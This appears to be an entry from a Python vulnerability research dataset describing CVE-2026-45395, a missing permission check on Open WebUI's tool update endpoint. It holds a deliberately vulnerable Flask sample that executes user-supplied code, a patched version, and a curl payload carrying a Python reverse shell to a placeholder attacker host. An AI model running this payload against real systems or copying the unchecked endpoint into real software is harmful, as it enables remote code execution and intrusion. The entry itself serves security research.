CVE-2026-45395
Open WebUI auth bypass on tool update allows unauthorized code execution.
- CVSS 7.2
- CWE-269
- Authentication, Authorization, and Session Management
- Remote
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.5, the tool update endpoint (POST /api/v1/tools/id/{id}/update) is missing the workspace.tools permission check that is present on the tool create endpoint. This allows a user who has been explicitly denied tool management capabilities ( and who the administrator considers untrusted for code execution ) to replace a tool's server-side Python content and trigger execution, bypassing the intended workspace.tools security boundary. This vulnerability is fixed in 0.9.5.
- CWE
- CWE-269
- CVSS base score
- 7.2
- Published
- 2026-05-15
- OWASP
- A01 Broken Access Control
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Authentication, Authorization, and Session Management
- Subcategory
- Privilege Escalation
- Accessibility scope
- Remote
- Impact
- Arbitrary Code Execution
- Affected component
- Open WebUI
Solution
Upgrade to Open WebUI version 0.9.5 or later.
Vulnerable code sample
import os
from functools import wraps
from flask import Flask, request, jsonify
# --- Mock User and Permission System ---
# In a real app, this would come from a session or token
def get_current_user():
# This user is explicitly denied tool management capabilities
return {"id": "user-2", "permissions": ["workspace.chat", "workspace.rag"]}
# A decorator to check for permissions
def require_permission(permission_name):
def decorator(f):
@wraps(f)
def decorated_function(*args, **kwargs):
user = get_current_user()
if permission_name not in user.get("permissions", []):
return jsonify({"error": "Forbidden: You don't have the required permission."}), 403
return f(*args, **kwargs)
return decorated_function
return decorator
# --- Mock Database ---
TOOLS_DB = {
"1a2b3c": {
"id": "1a2b3c",
"name": "System Info Tool",
"content": "import os\nprint(os.uname())"
}
}
# --- Flask App ---
app = Flask(__name__)
# This endpoint is correctly protected.
# It serves as a contrast to the vulnerable one.
@app.route('/api/v1/tools/create', methods=['POST'])
@require_permission('workspace.tools')
def create_tool():
# This code is never reached by the untrusted user
data = request.get_json()
tool_id = "new-id-xyz"
TOOLS_DB[tool_id] = {"id": tool_id, "name": data["name"], "content": data["content"]}
return jsonify(TOOLS_DB[tool_id]), 201
# VULNERABLE ENDPOINT: Missing the permission check
@app.route('/api/v1/tools/id/<string:id>/update', methods=['POST'])
def update_tool(id):
if id not in TOOLS_DB:
return jsonify({"error": "Tool not found"}), 404
data = request.get_json()
updated_tool_data = data.get("tool")
if not updated_tool_data or "content" not in updated_tool_data:
return jsonify({"error": "Invalid payload"}), 400
# The vulnerability: An untrusted user can update the tool's code
TOOLS_DB[id]["content"] = updated_tool_data["content"]
# Simulate the dangerous execution of the updated code
print(f"Executing updated code for tool {id}:")
try:
exec(TOOLS_DB[id]["content"])
except Exception as e:
print(f"Execution failed: {e}")
return jsonify(TOOLS_DB[id]), 200
# Example usage to demonstrate the vulnerability:
# An attacker with the "untrusted_user" profile (without 'workspace.tools' permission)
# can successfully send a POST request to /api/v1/tools/id/1a2b3c/update
# with the following JSON body to execute arbitrary code:
#
# {
# "tool": {
# "content": "import os; os.system('echo Vulnerability exploited > exploited.txt')"
# }
# }
#
# This request would be blocked on the /api/v1/tools/create endpoint,
# but it succeeds on the update endpoint due to the missing check.Patched code sample
from fastapi import FastAPI, Depends, HTTPException, status
from pydantic import BaseModel
from typing import List, Annotated
# --- Mock Models and User Authentication ---
class User(BaseModel):
id: str
permissions: List[str]
class ToolUpdate(BaseModel):
id: str
content: str # Represents the new Python code for the tool
# In a real app, this user would be determined from an auth token.
# Here we simulate two users for demonstration.
CURRENT_USER = User(id="user_with_no_permissions", permissions=[])
# CURRENT_USER = User(id="admin_user", permissions=["workspace.tools"])
def get_current_user() -> User:
return CURRENT_USER
# --- The Vulnerability Fix ---
app = FastAPI()
# This dependency function represents the security check that was missing.
def require_workspace_tools_permission(
current_user: Annotated[User, Depends(get_current_user)]
):
"""
Checks if the current user has the 'workspace.tools' permission.
If not, it raises an HTTP 403 Forbidden error.
"""
if "workspace.tools" not in current_user.permissions:
raise HTTPException(
status_code=status.HTTP_403_FORBIDDEN,
detail="Operation requires 'workspace.tools' permission.",
)
@app.post("/api/v1/tools/id/{id}/update")
async def update_tool(
id: str,
tool_update: ToolUpdate,
# The fix is to add a dependency that enforces the permission check.
# Before the fix, this `Depends` call was absent from this endpoint.
_: Annotated[None, Depends(require_workspace_tools_permission)],
):
"""
Updates a tool's server-side content.
This endpoint is now secured and requires the 'workspace.tools' permission.
If the check in `require_workspace_tools_permission` fails, the code
in this function will not be executed.
"""
# Logic to update the tool in the database would go here.
print(f"User '{CURRENT_USER.id}' successfully updated tool '{id}'.")
return {"status": "success", "message": f"Tool {id} has been updated."}
# Example of another endpoint that was already correctly protected, for context.
@app.post("/api/v1/tools/create")
async def create_tool(
tool_update: ToolUpdate,
_: Annotated[None, Depends(require_workspace_tools_permission)],
):
print(f"User '{CURRENT_USER.id}' successfully created a new tool.")
return {"status": "success", "message": "Tool created."}Payload
curl -X POST http://your-open-webui-instance.com/api/v1/tools/id/vulnerable_tool_id/update \
-H "Authorization: Bearer <user_token>" \
-H "Content-Type: application/json" \
-d '{
"code": "import socket,os,pty;s=socket.socket();s.connect((\"ATTACKER_IP\", ATTACKER_PORT));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"
}'
Cite this entry
@misc{vaitp:cve202645395,
title = {{Open WebUI auth bypass on tool update allows unauthorized code execution.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-45395},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-45395/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
